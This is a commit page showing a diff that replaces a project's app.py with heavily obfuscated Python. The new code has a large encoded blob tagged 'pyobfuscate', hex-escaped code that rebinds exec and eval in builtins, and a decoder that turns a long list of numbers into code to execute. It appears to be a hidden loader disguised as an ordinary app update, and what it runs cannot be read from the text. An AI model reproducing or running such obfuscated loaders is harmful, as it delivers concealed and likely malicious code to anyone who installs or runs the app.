mariavhrh commited on
Commit
a6fea82
1 Parent(s): fa763ad

Update app.py

Browse files
Files changed (1) hide show
  1. app.py +148 -10
app.py CHANGED
@@ -1,10 +1,148 @@
1
- #pip install pycryptodome
2
- import random ,base64,codecs,zlib;pyobfuscate=""
3
-
4
- obfuscate = dict(map(lambda map,dict:(map,dict),['(https://pyobfuscate.com)*(cryptography)'],['''-up)CYtoz~3MC`D&FUAD<lSMQcZEI~M$B+y+hWT!%=Eok$K{HbhB!V+n1|HDH_=mjIrUsm*p@r|XTuQ7hl<R8SRsv{{(m*Fi&g-IJrp^IxLwW9*LE&NQIGIRIpG1w&3>KrnWV%sn$aIktE`SRQ1v9<ijpZ2LzUd!_rhlBzQaZ}+Ul4A(JE;g;rSnLMRckNbVCMK?o^ipA0-aGCnj<!e7Z*%QaU@Y*pRg<FPI>wCYr#u*Xw8;Dy%FwfI{lQmcVQ2-b{~RXP`jQ((#gOqLiCTp64Ul)Ss|(AM7Tn<R+0uXIYHLd@6g@ziTg0r|=iP1@KuZhY6cdpIZ|W^+t1viky@jy9zKrE68e_Tgw!|GDBC8i-R69l2H!E3y-drqL8tNulHyuHph%w>M&1YNcQv=+}FGf2ipeW9m0G6L2D$Q)WZH9nB`|-Dx~?=0iJFuJaIT9vv*i&J?niLc{@%axth|(hb}dLiuYR2J~?&yc{CrjEy1Ox93Zl|X>=8E`{-(Mesmr4khW*}KGDC^T?jlo*A*bA1Fv1OfVOd=iDWX^k>8E9bEKdzMPn9vs>o~nB{r=oOyg8eSqvd$eWdZTcVNdiKKH~B%3#gJ-#Et_+K|O*l#qMeT_d>CY!rz8=59(JnI;t7{~kUH1_bn-Tsm#(>1fwjSN#Rk5zL2xfIPw*)kY;?w7qoje!}v}dV&omRr)jMm*=0qgfYDOgVd_KBAwrmVQ7#RUrBR+D(o7LYPXBxVy1BdhX{fS7lb>L;1em>V+TJar4-FLcEdPVd6@gF_-)9EMo~qXs?b5S42jiom@n_64Nc>EpOF#_qWLA>e|P~@rqlskXFG(dV#xisg$A^pM0RYzaR10hGy*>Ji|@CmG%^-eKuN$tq3r3AEZGms14wxlCMO&f&RVUvUoh`oCgB;wC%*J1Hc~cTGIZb9%%mm%d+-%uBn&sQG=US}P5ckS&m{e<qdq&tsR@#k8n^)@mg*;U^W*mfLrejiJ8Z#Yerx%aXXwJ&MjHD>RS`aJ*BCJmObJ!?M=Uu9_X!%G{l2uIWIwJ{34|fqw96-SMN{YY{T+g3>Hb&i-^ptocfKw}64J#O%kjVyY=k$IKSku4-*Vh}`0v!yfh|IIJzY^_?OjZgD!)(!PFUVH8^$VK%(O>>(oc6GXv)-cCGU4#Pyil~!*Z?%atBeGrTQE{k8cTa<7}sWQMEq}KMLa{gb2WNWwrUYqdTnPqJrE852_+Imo?Q;g&+8#v4D?Ua7&AOc1_#A(F}Q;4rM#wL)>Ne8BFpzvO7;_O%?>*ZI01LxCvD~HCIn<Ou@iKIixFe?t8p<`$d2!{}J588~<_&(edF1l_H#|gKM2@UOQmX`UZFT3lh_XE1(s8CQoh&MTA4z-32lSo`v89t#J1n#j;0r5Fz=DtI}|{LOM~{Zmu&MZ9jj(E_ZJu4P)YM?c#;V0H!pP#I0qivJZR(Q4F)sH$k~vUw<Rho#Tyr<+3(vUw7|zyon)QD8FO@ekKb){<Nt?Y1C68Zm;X}LGlPB-dnE3dDn{?v&$u>g5Fy@D$=HB6pIciz`Xi4S|{B9l}z9-e*Z+e{PGlecDAm%YBsQWcy{wJs=yz1PqhhTd~MgJhA!KV(4LbbT_CzHXPN~+9Wf)CzjmBPZ~ve^{uUGI^#e>Rn8WzbH_%&wdm;=Xq>Q7SiD^RbJ(xSu9!u9p=ec?#7KA0n!&RtNc)je6H@1r?D>5N0L^x$0^kuPsS@{z(tVhJ)zb4eqQ8BFJb<sbrdA`fG?IiGTBli(rALa#FF%-B~QN#<zyu25(-bc}byUOR<V{a-xy*z#jrHO@EZ-u^T8ZA`vIyqJ<`9OV5cudPDG?H;MRCzJ7rUqW$%|ET$Y@A{zw4e!WWn#AlmLo2UHMSl8um6H+t_dRj7+LLO$Gi?R?FpNpE5Yfk#?8jO1{c>B9~`CUZX$Wan`w6oIE+T?*?EY6u^_ja$FA!4uogxe`~sg}wE1U#K=DPEA^&Qhi2B@-*zaR|9kHwo^IbQ|X$(fbA9$09rfF|pJsk&7sgKx+D1%{cgA%umHgRKM*BulBfV0LCTv&&^X8_4ktP+a#P0FU&>!kC|X4u{5h7!$JTWgQf?k~CR6Lgq_5fyTd=y;NrO%OcL*J^C|kkH5we9s&FQZt3u=gvCx`?-@UMh@;gr_`6huAtGnZM%|hBVDqF*dJ3)_dDhS7gECkfp5eP;f+57%ru9J{wNNYAQXc`6|67e)55((Z<!=Vf8VPyQTu}w%xPLBjB81M+CdqD@pSNs^{<RBi&$++?^r`DQEiC;riiUD9HxN6|KET(&Rp-QB%v#o=8C|GTIO&Un~e1K6UVA6q$+p3FxkmHVFpns5$ti-UGMrFdfWwtX5jS5FN2G<;=<h4y-jW&%*5_CxIe#zg*aCevjg1zdQ%xGgDa?iO4QAPzb97@9ZK_dL)j+*-!$a1Jje@yMDk>Gfux%S1uGZx@2qb5D-WH=H8dA;VNgWW`FLww+4c13Q7PH4BJz3$=&Q@gf^LDn_5JOq{&G+A8jKDkvAv*LChK~+Buk*BbLzArAyBAxU-|Bsjn=9k5hf)Eca%uGq(7%xSHnHI4OWSUk@Tq@H7mO~RpTM6nL8dIJ@hDUPHj$Vx>N|69>r6#C8O=j)=NCg^i!_XdORR#p``D)M4+O?vGPOO6jro>FZp~-U{}Nc|F)b`G4mwBF)|E2cL2;fTHNI6*(9TBTKaNZKD8ePXMZ~w02L5U-+mxP*|=|x?D*j8w<}drG@0Smr-R>l2vfV`Q%s!<$AT4l3pxJrU)jv6sN3@5<H^R`DyJ+vEM7x(;ptAaRnzW|rTi4etC&m-IF)r!n9T@ZAl}&Ovw>&?*R|}EgnaC2&zJ@0N7(n174-wIqP_sVS0E;aMOswWlOw*|*sb<h`P9~kL*gev@BEXxNv%_}%)tZYLB$+D*w8LR^Z2SWXi7+b?DTV=pG|FG5)7Do_T*e=`dKP#VI}m53W>9WDG0jF*YHU*Cs+fR5vvJzHXu@{Rn{{rSR1KNoXm0o1uVgU_^>wOa!MS(P<qxX1N~(ZfBinON(74#%>COxD^u3IEtH{n#MCpH-p31CGXjegwTY$Oud@Juk1;Zj_g%bACcNAt*)jW`BlL#EG*zQJr_2vk39QhpHYGI1^sFZ_J3#o^!q)l1xV-^?y=vXbC&B!<YoXaKG(YNlAUnoMjT%<|XX#t{tJ7_LAt(XC7f6K$XgfROF~3v-#5#`BWEx0RDU<aa4$t>;7QGJP4}pUPV-LO_T`0za;Xc~02v7%}BiUzg7J5zcUF5bcMU0H84=v1$1zOlOeL%M~z}dP=l_7lLDQk^B_K(bJ=(F-bKEDi-#1Lw_(b<p+g9`ZWw@6bAAg5(z4JzR}CpFdEr79p<wC}$}_c$q-xp@%#4ib{pjaAft!ly4gHrn%di55ZiI<g!W;t!=nM&-ke3!I;%4BIqw@opu*hzd+vyb{rgMOB%Ljz7+ayM30ANi(WlUIOKWD=WW-cjkXGF)ksNn_&g{${|%s*-Lm}J?jK|iahM!JaNJ{mhZ++B$cK3JYE!$>=!~~9p2C($x4OY8-VfxjNvQ&maT$Rv5-({#qnDdn5uTv$le-IASySmZfr+<f1imJtury*Odb>o|3M^x@hA%H(W!An*gyn>`Uosou&A8o*$XbH|5@pzH6CdPd9gLLZ}Ozf27u`p_V1KzQc`|4$satN2vs6GLsV`caJ!ND%6t;1u&~>`8UxBv5~4AaoXkZR9|OCW(<0w0f0y50P-Y&c7dlCCEv%3%N)xvz^cD>I&~M_hWg;REpMTt|cDL^VV#$CPeg7XWnVj#zGR-1yg5v6nh`}KB&23%8{j}|2r+I0teHh_x&CiBR&Q2pwKeuMcIhW%Kf-WKp;L43=+zi1kE8Cu1a?wWyQZ++f$Mf)Cz+N;IhL$~9pZXSv_qA{G6P2z$$;HkaMT845YEx2S<r3}GvLzgNii)M$s}5Wwr5quXje;gwEFc93!Lsl04P_mXps1^sWa2bd^+NM6J4cT9-Mm$V!^da(J&LAb7B3Mynr-6$sRdL>CPNLn)2^^uN(qr<FOV=?6ca=iY9UK!(R>;3!agA6Bu|coZ<3XI3>U<ftFuN2I>&5=n?}y&jGaXiaA@`s8N<nokToASxiBf2TwwW1N+UowK#-nY{lA%y;fRnktNK6z|Noo{mmQ1<VD=n8A+KPn>P9!a^L@B|5LP_){rmxasf@+y-<H6^Dgb+Lw^TnGkJStU6BM-M4&Y1sf;LX0c`QVav4h<arEif1uijpc6zmu0zB015z9quB*0ZN=tRvr$&*%W|<GNL;fPhfA>`JKJem($HN|&tA}8Os!wJT>oP%2Rm6Oto0puP`*^k=Y*w|ou7o55@J`)aOcB@vN)^vY8-t5?DzD&OY5&~4{Z*aF=|^KEr1^URn^_ve2-QETDdhY9@R}4oy9)D;IT{nFAl@18=^}@sDda;%0ntS}J}X3sw2i?Onl}#wUy!=}X(<`@TA)h(f(&lh-03nLzWZpk_1$22#Pi-DJo-J~LSAXz2GVFV9d2w{G6)wMF*n;yX>RnXf@1(~0saxM)yPWIAohNOLzK&)?%aD6*!|>f;<0ARd3rMU*Ui^CA`?P-2s&xwbD9RTLASEFciT9p`!vXQ4+>?|D?AdE1C+||+G4G;(AABX96=#9b$?MKG*(WKSY$9V%J9qB@Ve;QQ#cR0@>?Lcw?Kj+Fq?T7Mx9@_PJ@>{=7IGt&d{9Rxk9%tO5<OtkgujhHf=IRJo&)pSKl}1?goZ@Iz+OgdAD1%V{-jQcp<uNo=P%YQcf~hF<ty&pnb=!pcPLo>)*RDWO%QHpGt&bOr9(j8F>?d&`yX&mGu^hPJ#vwZPT9qg%S5DnM_Cxr&mz9Ds$SwB<3fz(Q@`ZGCBp9#gYrg7;27ksWhx<8WiPu&<}_Z@Yb-
5
- KmZ-&)D!ZtDEWZY@UDiSrS8m0eheBbZ+Y5J;9l&tB1PRccnx3<m<*i9>TK4*xs(PCbIX0Y3RCO*Ji81t5V2ah`Ls?3_NaIswfcc6FOF;{v?pP3=*{Lw2Dr!&Sur@(nHqn#cFjt5`j1J2g{S^(LL4Thz423-vs%_rYckJCpWAg0?%bgAIgT+>L#>`rOn%Q7F=dJ-&N5MqR!Ag2s3P?G2BQ<h7m2j0i!TgGEe(}xa!l0N_2zBnwVEqJ?B6;Ppk__dSk!EU!c@~Iu2sT)Jj7inBka$*x85QM7&$GmVij^AhA_RQgTObq|MHTDtMR#SU<MMqi1v~Gplz0HWAh&hHy@%;0>MsYt{OSqV5$`+K9FYIq=(6HRC;>XwB!-XaL%mO2H(vQnmHrXm;ox<E>}oH+$`(Y$6)|Z-cbc=m=l=jO<Bhx=a{odpV+matP(8mwZ%euuF83!xjboWjf)CVzkD?!oxTirNgRMbzrw9KELcUf$Lx!A`95$!%Gy|wUn6h|8iF5KP2jJ7W$R^UPlvA!p!zti>XPj*NuKwalbUHHa1ax=vz8A@lRvR#7!^KDn8=>dABZ<}Pg#6~49C-ZeDtF5lsWS`m_JDe&frP%KiB3IsmBwGALmJSnf{Z^@L=?PSp!L#C2*2A8I~bi9Zn$6oa#vfFH!k%bW}rGSh#^F%BX^`KEyrDBJqT@4i)y8$>LIux9$vn?=5cGG5i+4UAFgNg@eOw(Z%Kr%-GMhdN(8NGVdCp@sWQ+r(;)`$PQn^YhE2pQ%ph}w!=8h<(^V<wk=sSF+!@WT6&CnJ+nN+?x7=oB^<ltEKQq{bm0$Fb8kf02#ki|uRufW(j406GyUI)|MiS?i$#DhV4_VHprJvK(v*+sX@STJS6CALc{#1JKYyq<lp1*R<_jFe%Iu4bZE8rEy!SCB}TS23qFn7Vcn)zsxT!PU%GOXpmImy)=>+=OVE;_DkGlkra$Tvw;E9X61Fk@2;l#oQpL)H$gD1Aiusio{p;tPZf{w0IAPa}@II>@DdOG?rCB5X1cHIc<PWPu6Nsg=jf1}|9eZWq{9M!pg-F2vJ@IXDuRtgG|5DP76rZ}~vi3u;KN#a^r}$|8PI{XY+S2FcBS6Ch$Aj-}V;@rFF4z>_M<R6BzLGbPz(duH_q?Nu<@*|NdU{Mb>^s6gq?r&!#h$`ZmgawP%g+-D(Ho`~{cck{Ygyso4b`}3i3bqXA7=FaVPnCsLy<ht}C#6wZdi|o=6h*uMq#2c7a(e)9)d#p6e!&KiizHkAjbbKynMIY@8K<_3e=2Usi_oNIomnyos`oEZn!saI>P_ao5uTZnyU*9O}?YY4c!*#oy(*>x3W-VZ3aHv@-g%w)O`s-=;l>(bO$j(4Xhw>{7Q=={<t&~+h&@nBaPrSH#_oco^86#Md13l(*@r4t4s@2biHsRlAuNkT0C7Wc=`fDh=2?eQVXjgFr<rP;d0!UGH(NNBXa=2vU6f&7Go^d^OJ19}ln0B$G>JKuDO$qrisZKG?c|7H<BbOZ<9+>qLe>78Emru6MPNth&N^JJDd3!YJkqfZFr+C6EX`XRIGRh)7^M_a8v1Y*&S|r@{`y&q6)5<zfsZhU#taP0XuuPuIfVh1p-@G>-`KTI}2X@gbr5780vs}jz><QNa$edGeH%l8Q4yoEwsN@pcic+_^z!%U1KO#Sc_3%;A4ClAu_BInOhcSN8uIZ|MTATCl!NCO-sEaEV<4y8j+aG#Q-`*5~vp#al*oQYXVgW1C<L;AgUtT{`@UU%d@Q<jl#+M#Cx~$9@9U3l(y$;1ArIV^k7P6=ACKDP5<y`+4aGs}UALA35GcqE5qkbYkXEy2My2{x|s>S$yQ{}K-Kek0oG9@%Uhn&4+=2mMKzs)G@F|sIL^Jf;hMJ+F?Tr)ePQ*3WmrB&&}YgU`ab(d?Qa3PQ&D;`IUcNs4KX3G?d)&&;(CWH*v>XT~nwHSsgJT9$(GNXO%--q`j)Oudebr#svDWy@o#9j;$V!RAJdp{Zl!5kxZ_{0#IE~DzWMCF>6)_G=)S@sJvKae;XqYh&H8=UN9>*Ub9btIr^2t^+zfPi>e9?VGocgbMJ8dXb?1-L*XFX(i29q8PPTW@S9%;fV0ugb}PyGbKx9$7GGl!yZ_7mzCAFJ-esWGFxI2AfZUXjVqN5I*;p{Tl{gu7Vog@`OZ72$%V*jb1N`-;cf|+AYf|K6Gi4cnKF6n~G9Pxi<&Xw2ARY<kEbvy30l6NiddRMou|key=)!;j6&2+3o68hIzuOKYHnd_EH<{v(h~&)}(=_vcN2VSO3maft_J_b6GEu94oj?aMyaP9N~oCr~8;KyZt5bTV!+%IY}f@$yWsRi#Dq;6nOu^hqt~EG0N3g`!Y7Il1Rv&W+m5w^yB-GsRNk~`Kd7cIF>$((NTBlxW#Ay@E)6W|M{lp>mqf1Q^rFK_p8%t?a?&Tc#&gbz-4EP@n;kI#UN8qBj*9i&afu0KIdF&q*~tF8{ShJe`idfr;@F=$yDkh0K{uo8H;WP2xRnYQkkXH+sUENao(Z4>ck;z7G5;f=53O9=iYh{`|88xQ!mTfzKWPP)3oa*lKFk^a*PYvB3RUA=6oG+-LB)%4ar!3FJ0M_+~KH{2m3f%un|0KF|PQ8t@X&V(=+9{Wd=YK(TgmE@^2ni(beZ8=Kj+@NXd4g=m#kYzAx-li%rvn;bAEySUzkJyd+S$T4245Fuis)+RSqsBD+Ew;)^5mn*KS<96^opF}386n_}i~G%TV5W(Cmpt%)qy3zj4ix482GoIWtIok8-uF=U#lLQ0!b8a?|8OFOGU?BhQeiacQa&2YMpq<IgaG!bsVcF8S{n2HO!C_VOi;2Qa#`I@2#EEo3C%^|5iL**A^7x<8Fk51Y~)f&U&hC{PQZuniqKAOO^QB?^nW;qDm&kF%YpJY2}r>RAuitRlgAAvuRj_=jym*c0fEDNUt2dlmm1UMxe_yrbM^wh2}2>PjJJ^o@a?8IS(K@LRgwh9u^i$bfc^L=e&PurG0pbMrE6$GgST0LN(z^lK&&|>xA{y|CVZR>_)P%Tb&k$6Rtzk}(Eb{WhFV@!R7^mk@g>{)+x*T{PVy~^ZfI}Dwv2n3dukDERzCxcfmqUhS@g<j=^;greg?#<z5AJKueQ=fFCp|KjX))N+Dse#7aRMuv%q;{1Zij)r)y!O|itxMd<gHzM*XsU5?{ZYWoTmVHm-@8wB0dCRw>cXwd#L0rA_zm&<%N&uO0Z&KL6W7utKq^7td*tULnlQ!{6N@55#rcFWJcTzz5g0?^PmiL|IT<%rwB0#WE%+cGWW{2(d7w6dT?`s4{!WmjsD9E0VN-x<(-7_Jf5g=Iu^+*<O;SCCgN8;8<V*$)vM<bd7^!WJe1ZAwb-DRrvEBO23>f%S1du2g->eM-4=W?>e%X1VW@k*ouFyTPh-=QrfC3ML+#2H|9#IVw6xuZ=|69ykoJTaYD@Yv)1JH7oJt*4(8&}L%+E;<pYp8&@(lX_UZtFk<DR_C>;}F%}@#=?>GZ>J#+fzeivd40_T}XL;Cy$tYH+nH-hX**_^t+GQ8$w>SH<j=GbW`tp6!==)H#@XgJo6%_2%o(<OYNk&_O6RA%~aPx0H@FVEx-uV8yj0xA{tVbm_8OmT}>Rq<O_A5(}YHSv;iZ&6nf4-dDxo<*P0nCYXBF?Wy81s2M5?c%;v+qsi5KH%^r&UZi?S)m1qv*Y3nT%M*-9qkf&rUcbavrAI9H^Q~<e$@7MH?!<L=#nEPR5wut7o@HHp?tlaHZb<DynHItcShp=m2j~}?JnSzHfrCtX#R=?V=9jb4_=9O~ZK1X{Oy|3j2yBA=r#B*8WLeCyNy(E<X6x8B80y_vAwQfz1=|H}O-wX0@JD6XmKirrbW8qLFlF31tI?Zh348&@ve>CqLIgxaeu7*+7TuUym?w1G&Sgn}44FdKI{~FNiQ5<sAyAYiA`TJ>@FdWoiGVNSHEWWN!pAP=z1j*(A5(QKZldbfR-
6
- gxLQTB`@>l!&=iT_hfI4F;1p?~eCMU=gX!ISXFJGc<rJ5Rd$oXI1p0#Y<sC$+<YryX+hw(6aF8>AC|_u{l#YW*}r7%ofo0v2&amzOW3Hxbs?untLo=9;hk=E`&f<z(rtZoe`rP1Wy{m=PHc@5A@?*5{M}gk3h6agI9-*3uAlmjI$ZrA_DqGRYOXcA?*#)q>o4|T3Z`(l*AyJlhftoP`LjN2&>L<gz)y`DzV4mxzBY=OMxPhZFPs4t+e{;Hx+=d-ku!T(CtL7rz_2B_~7-O_SM5jNUg_Bsnydqi30Gq*6JsL8kP*rjXmLt&ISU$mLP?VV})5Ns5p9;1zlg(PFuz?;68;q>!_no=9+84Y-URAi;%Qp=ovsEj?bBym@2EJG2WvJKAj!O*CcXM1jJoNQztLHe0p#vXxrlSr4=KZO6*xD?^x0+2mX;h!F-7rigRQSYCA^5!hYp5fwPLQjvcILzT0<E_q4J&Bq+viXYCcs*C9b3PcrjsMcZ}ylmyrhA~?|>IKF(}Tte*l#obsg9j~1uI?gK%-(|zQ*PyD->Af~He|TwO@xLQuOnrL&3E=$^<YCjrut)94O;<Y9psr_HB)74(2d%*sfS1F$(Kq3%4iP2gaNEtYd1Bh=YSe%DvcN-G`LyJ!E%o1;sS^Pi;_bMc>UXN+IYED+S!H$S<riF~xsxWi8*BFpSYfO7hIB)HpoK6+F${_&HO%UziS5N~JCxHGeWW3qSHjDyMYrLr)&rH(Z>&>6-SFQ$vr1YR_K_gD{=Hbdqn&NR(I6QdV8woI*bQA>F=x8d@Lg0y{k}yJqnh0>$8IWg(7`HK#X*}X^yizN@1L01L^ac(biYLD&P3_tY!U29G{_f7Zcx(Dg&>gO$S4BR!-gfpSdRfxk6||MCIc)<$pL?sg_Nnn^lYFDqIj)a(rX*Ek{M|^-iQ&?I?7U724Mm#S;RxZ+W;O;6Q!TMqzob$Je$uqEi6znq%~Uj;qH!7CQj?6nBmwZTU#i>M3Z1fsMa$`Q9lV&GqF!@K?txtVJ>j-*W{|tc`(&22MD+nDqMMeX)fogle2#w-~7X*pS}ZC>cd3u|0^1@*p4XauZFK3i0+>dR}*+4sM%aE!}p0!Mzm0hxy@<AQ%33)1-TQoX`?y7lji-O&P)8!K^?skwek<{Ap<9g{JL0e<mm?GjDtwR&n2$xr@1+5%(;Jq5!=09P4x*x79oZKT$!5ul@|a+Mb6w*>VXqB5nQET4zKsJ`FH#*d4<Xa!=<Y(ahV)^Q#ggzwUaMJHdGLFESSZ11&41~pO*zrTdXIt5sGLz=ZS74&M#W*c%yWQ6_M%xlirz?zEq)}^#AYwN;9MfJ;_y5yf#AR55Ir+#tBdHwtJn{l^2fQpD0q!<}EvphhTBbof&4;bE{riWa~U7``v;Eg{|TNN=>{qn&MH(^RRk{nHA*wu>*3y>!E8|_YeulJWz%!-8K&>v~RpF&c*R<7^((?V+K@HhhH(Nud{G#P!&j~`CzD#?30nE#4u&a-8r|4axbZoV?eG}1lvFLnC2`vt^LoXI$J85b91T$Q3XdWXfGCZ%EslSvY!5tB3|9lJVTI^zLS}yDKuKKg|H;wsBRsBLmRk@s_XOWUQJ?vSBTlz6fpSpxi5&G<jJmqc^E%f<e1N`omyuW2+1ePd;*q}aQ4H+%tV0=pUaD-Qi%C#V1JG}n9THN$$tC0XQ&5L=$m3mz|M)cV5$`n0dC>sNf_Bjdq5cy+cNot9$`|`j~@0Xc$5GSdeSf5DphME46>xJhqZ2@L+Uzt3~T(9_-3lG*`^~zvPEKD?nK2}DC|T@Lpq(}D2V-Y{K3mTQ~bRRN)|lt^*Dw@^Dmp%uep!r8a!3nU1Nia%2*uDg_J<G0d7<CclrMdjy(M*RF+vpyWO__bfr3$qSYeil9AM-4|0$ushpLKnF-+;VPt(Puq;v3_*UXYu~(XzPrGfH!iQ;G=y?!YP37krQ|!R!K$!PjxmkHjAw)Vxx@sSlap}$I3i-_pj6%q;2v3S8&r^5Odfo6|<Ua6^B4qcLo@-QC1r2jBkkqwtnFwy5Nz^4p(k-ha2^;MVj*X*ke<VWzm_1S}e!+GjR>dx=%?+(Ae3nBCsdb&*o)-AZ3<80{Q=q&)i4K8P5x*}lTn~WkbaU=2WuFgD(Xr1$-6TA`3oFs>TdBEkMgX(-aOOxDr-->aEnM`=w1wZ7bXm@f@Y+5UGmO^ZUN*Zovs8U5FEwS^S&uxz|B~7sA=Tc!zL2w-5ot4<BK#e_y8zj?h-~Q}<t_q(^AB1)9)(jil@E`BJ+VI<gUZcH6()rn%zE5%w2xzFQWeoe4#oOUD6<}q9>OmY0A6Cof<QyAjb_7OphP{p%S9YJ9%7w|kjZGr<~5*LQ#>kd(Nzj$L=cI}g6-kZEBIeFogiE?ryW{DX%Y%VaPjy7uu$20?vO`^Fu@f~K7J+D^4d9dqWArzLUz@XMHusU)$ujBmu`^4NiR0j8E8<&ip!Nw-kE1^FuECQ*e(4Lgue$*)c{`jf8HkouJy0}mm8Q(U#6%5GWro2YOlsTcKnooAlCsUfg@IFT3-UvW5+|wo*$hGeazq_oZFgpE;je9A8MScij6z^Ifte#pXjG?1RIb#X;>TR0ihA&J2R-~WJ0#`9Du@i8Z0mbs+25tm5DL*i$LLWO}T<uHivG-B9U>W;niXMoK?-3RbH};Tq#>2Wg45zekj_b&&I%85@j&b%K5M7->Vo+rZe4${4bUpKM<V$Ke+i^VB-v0$dE_ZFxh_hozNh>M7)pIxH;emr=hR6Q18x#?}ku|yIU}(VuR%J@6>7UFs6b0R|19A#B7UkNronGSbPKx*dF+8-<WKSzGhI3JboS`U-90y#=r}O9j+&e<Gz*WJeRuGv-9}j92VU_FN2h9DVo&=$8P-o+m66$%gWwLoLA+B;(ZoBaIOtcP<XMwTp*>~2PLXGbUtGJ=0&`7{s2{fH%I%M>eZ}iXc-WFF@&|Z2d@7tet?)c+nN&Ss|pl`t3jqWsGo_hk7d<oqN$2k{tO}<ir}e7HMG8Q2-I<Ev~*zWPQs;tsh-v9@J(>mN3Gb8Fs$Guy`<6KnG1g0u(gV&5}`-H4aE^U(Mq;=Lx=piq3DWMvVKOQzknZz+WeQzEroX+mzvPv3frl<^dzIpgo83Xh%D}^1=30_Uc%7@6oHDX?^NYCTd+D@jL(#qGdV}sYu*!5)*=Eq)9ulw57ILy_-j(m3z=Q<9Ay|6890NFlxHmh=P8bUmghtbQkT`7`aHvjogm|7I{X&cN7dn)BcBuLCH|E9ma+%i&ig6txLzS<`L{=_QYSa@o;+@H1PVZniUOPQp?LyPdZaE+v-`vrD~p;Nm7O5cS1|{D^wbyVhGwloznTc9-RV3tl$;~H{FdFXl5oD2BdThAfPARWLA79UL#1KqalBX_a*nqtMnA<8RNyX;k#)q*OQScWiBuO_0b&@;;sN+lP%28_kYiKqF*HEqo)pkem<72&CEp?ojq$1wIA1&z#y3^)2U(0DmJ8;*PGl`NjWri5TskocmzF;Wr7=!lR6-@3vyrEjnW@UUm4=4nAHLOz%hb=`F*{iCGdC_JJ$+Hc3$1Pj-WDOF0A=n~>f`58*JM4~&Sb;H8Pfnf%rQ!V!u9OyMnSA|>^AQlt@rL(2+cF8HV};}u~eU*@-i7|nii#1Q>|-l7ct%+0n`Wyf1V3J{(4Ls#+UFORYS=X`Q-fYk<Im(JnO@od&z)BBS{;NCam_r`M?L>Gh2=25+?t$<mLh~9}77Aue?C=gCivfS!2$UUoE^df5i9f+|c$(b9?(-TWh#5nq*zO&c(q`kJ&ZR=J+2WU(ReJz_*E$z7&9os!=hG9s8^<^@Ig^2ey3'''.replace('\n','')]))
7
-
8
- _=lambda OO00000OOO0000OOO,c_int=100000:(_OOOO00OO0O00O00OO:=''.join(chr(int(int(OO00000OOO0000OOO.split()[OO00O0OO00O0O0OO0])/random.randint(1,c_int)))for OO00O0OO00O0O0OO0 in range(len(OO00000OOO0000OOO.split()))));eval("".join(chr(i) for i in [101,120,101,99]))("\x73\x65\x74\x61\x74\x74\x72\x28\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f\x2c\x22\x5f\x5f\x5f\x5f\x5f\x5f\x22\x2c\x70\x72\x69\x6e\x74\x29\x3b\x73\x65\x74\x61\x74\x74\x72\x28\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f\x2c\x22\x5f\x5f\x5f\x5f\x5f\x22\x2c\x65\x78\x65\x63\x29\x3b\x73\x65\x74\x61\x74\x74\x72\x28\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f\x2c\x22\x5f\x5f\x5f\x5f\x22\x2c\x65\x76\x61\x6c\x29");__='506170 8610796 2930370 2726977 3634338 143530 1681536 663584 864160 1935040 5247900 3896634 1751136 7175470 3094080 10588320 4704378 10789240 4547439 6151607 8791865 7962240 10324470 1501376 3881325 1894202 5693184 9865569 7740714 8220688 2357312 6839509 2973743 8261172 35050 2349260 3765480 4688145 4347141 1063776 7357532 390514 466290 2512352 2311008 1470464 192544 8607375 4544650 7045584 300807 7868048 1455680 979744 1971984 2967510 1667680 857152 4617480 10835110 8071620 10429096 3316818 7081128 537084 1253696 6968934 2124131 7023402 2290158 4036162 8646045 2750824 10550100 82912 672888 2706330 280336 5884794 849006 5095880 5526670 3120704 2893246 989120 7955164 8876789 4708314 968128 6738672 9360408 2627008 3358506 8990280 2343915 3277116 2237200 3884135 50500 824160 3023872 3028832 2239456 8690505 5934080 3950940 6105199 4080608 7805298 308370 2046704 5854755 9038680 1297960 3705117 3765790 10534139 8961835 509691 938818 4033602 8216148 1302720 689955 8298872 885120 1553531 733460 508660 1847730 6748596 3070008 1983315 8044885 9314130 404935 267232 3802416 6876366 8008988 2956305 5033005 2335080 419798 626544 5432689 7711459 8703747 6687816 9214835 4991364 269560 2434128 1410400 4446820 3374898 70094 1632120 3527680 3066460 5089448 2167576 11406628 2595488 5458590 4115100 3127991 562449 618240 2324652 11049273 4392752 9763236 4994379 10939260 3885453 2093842 8614392 7980010 2849608 4342338 10047276 7884842 2172058 5639289 9687819 1866105 4218890 6420136 5256120 1078336 1750048 4070111 2749926 10190716 4697510 1630080 1414040 964010 8380768 2784222 12043372 4842304 553750 2956896 2307808 2336480 1559552 2418114 9073260 3478074 3145958 2925024 9639462 3046580 2056568 2601984 5641423 3289760 5704608 688384 1023855 7084346 4267984 7743138 5064906 10677452 3013792 3253513 1574880 6295275 8649840 9910692 5089900 1671744 8770449 9444720 2342816 7060203 4263720 666950 552352 2291264 1492608 2270496 1379652 10471698 9587292 3605393 1075392 1490730 236325 1497920 6760530 1769070 10543904 2646018 2191992 9167364 311392 602962 3038686 2706976 2096255 10432070 2286840 2949696 5992369 11143500 2696544 2191016 3092620 2237268 7939644 4306438 8642392 7172487 1618842 6242911 345320 2924096 1206272 2111040 2697568 1915812 10544778 8328771 4597570 1036798 1239472 2438520 3150771 4328870 537040 2208560 6664816 1761500 2388960 5884970 2631408 3218582 576076 2347744 386855 3340177 783432 3942831 4356990 2609455 2402542 6614340 7507994 1293002 10371620 2304646 10786376 4503600 7600204 1184560 4288238 8167040 4317600 4733600 10504404 4700073 9131166 188856 1156238 5146848 3323670 6846525 2802136 1905458 1274144 7641960 3197888 1679940 116320 700920 1576896 2516288 1338368 980992 40320 4056642 2199808 2389761 6060840 2916280 5861296 3676470 1465873 4313920 3080500 6166860 8371476 6442137 9376537 2185730 188530 2840416 3054208 373408 1253088 3126208 3068768 1995552 1729536 9748710 1837594 6368761 10585404 426806 6229579 1304200 10288208 170177 1516098 3670 1082624 1349856 529408 2128128 4513005 890766 2258464 366832 9057840 466080 1119328 3945950 1873577 4486977 1800964 1399440 799571 2412612 11137405 2694074 4492042 702480 362112 1788320 2826528 1537408 1482240 875648 1747168 862944 5264084 1489740 3779280 7537920 1059104 3813960 10124688 7708017 7156710 1502560 10362765 5593636 2837688 1565280 8516032 3318650 3434529 1454640 726614 1542002 929798 980802 902816 373547 10597365 2047872 7701351 3077538 2843049 4596090 1229627 3692118 7729155 2346448 4555908 2101200 9099950 10648336 9079644 132520 3513084 5703912 3831081 841115 957390 